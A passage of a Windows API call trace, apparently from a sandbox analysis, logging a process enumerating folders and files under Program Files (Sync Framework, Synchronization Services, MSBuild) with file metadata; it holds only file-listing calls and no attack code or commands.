ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.432] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 1 [0145.432] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0145.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0145.432] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0 [0145.432] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0145.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0145.432] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0145.432] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0145.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0145.433] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0145.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.433] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.433] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0145.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191140 [0145.433] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.433] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1 [0145.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0145.433] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.433] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0145.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0145.434] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.434] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 1 [0145.434] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0145.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0145.434] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0145.434] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0145.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0145.434] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1 [0145.434] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0145.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0145.435] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0145.435] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0145.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0145.435] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0145.435] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0145.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41a42a8 | out: hHeap=0x300000) returned 1 [0145.435] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0145.435] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0145.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4202798 | out: hHeap=0x300000) returned 1 [0145.437] FindNextFileW (in: hFindFile=0x3f58c0, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0145.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0145.437] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.724] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1 [0145.724] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.724] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.724] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0145.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191140 [0145.725] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.725] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0145.726] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0145.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0145.727] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0145.727] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0145.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0145.727] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 0 [0145.727] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0145.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4202798 | out: hHeap=0x300000) returned 1 [0145.727] FindNextFileW (in: hFindFile=0x3f58c0, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0d9d5d0, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0d9d5d0, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0145.727] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*", lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0d9d5d0, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0d9d5d0, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0145.727] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0d9d5d0, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0d9d5d0, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.727] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f749e40, ftCreationTime.dwHighDateTime=0x1d57a4e, ftLastAccessTime.dwLowDateTime=0x5b478f80, ftLastAccessTime.dwHighDateTime=0x1d50fa3, ftLastWriteTime.dwLowDateTime=0x5b478f80, ftLastWriteTime.dwHighDateTime=0x1d50fa3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="cultures-possession-please.exe", cAlternateFileName="CULTUR~1.EXE")) returned 1 [0145.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.728] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.728] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0145.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191140 [0145.728] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.728] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, 